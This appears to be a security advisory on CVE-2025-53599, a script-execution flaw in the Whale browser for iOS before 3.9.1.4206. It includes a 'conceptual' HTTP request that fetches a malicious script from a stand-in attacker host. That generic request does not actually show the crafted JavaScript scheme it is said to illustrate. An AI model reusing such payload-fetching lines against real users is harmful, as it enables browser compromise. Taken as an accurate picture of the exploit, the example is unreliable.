Overview
A serious security vulnerability has been discovered in the Whale browser for iOS versions before 3.9.1.4206. This vulnerability, classified as CVE-2025-53599, enables an attacker to execute malicious scripts via a specifically crafted JavaScript scheme, potentially leading to system compromise or data leakage.
This vulnerability is particularly concerning because it affects a popular web browser used by millions of iOS users worldwide. Successful exploitation could enable cybercriminals to launch attacks ranging from data theft to complete system takeover, hence the urgency to address this vulnerability.
Vulnerability Summary
CVE ID: CVE-2025-53599
Severity: Critical, CVSS Severity Score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Execution of malicious scripts potentially leading to system compromise or data leakage
Affected Products
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Product | Affected Versions
Whale Browser for iOS | Before 3.9.1.4206
How the Exploit Works
The CVE-2025-53599 vulnerability allows the execution of malicious scripts in the Whale browser via a crafted JavaScript scheme. This exploit is typically delivered in a network-based attack, often through a phishing or spear-phishing email, or a malicious webpage.
The cybercriminal crafts a malicious JavaScript scheme that, when executed in the Whale browser, triggers the vulnerability. Given that this exploit requires user interaction, the attacker typically disguises the malicious script as a legitimate link or button that the victim is enticed to click.
Conceptual Example Code
Here’s a conceptual example of how an attacker might craft a malicious HTTP request exploiting this vulnerability:
GET /malicious/script.js HTTP/1.1
Host: attacker.example.com
User-Agent: WhaleBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://legitimate.example.com
Accept-Language: en-US,en;q=0.5In this example, the attacker hosts a malicious JavaScript file (`script.js`) on their server (`attacker.example.com`), and tricks the user into requesting this file by clicking a disguised link or button on a seemingly legitimate website (`http://legitimate.example.com`). When the Whale browser processes this request, it triggers the vulnerability and executes the malicious script.
It is highly recommended for users to apply the vendor’s patch immediately or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation until the patch can be applied.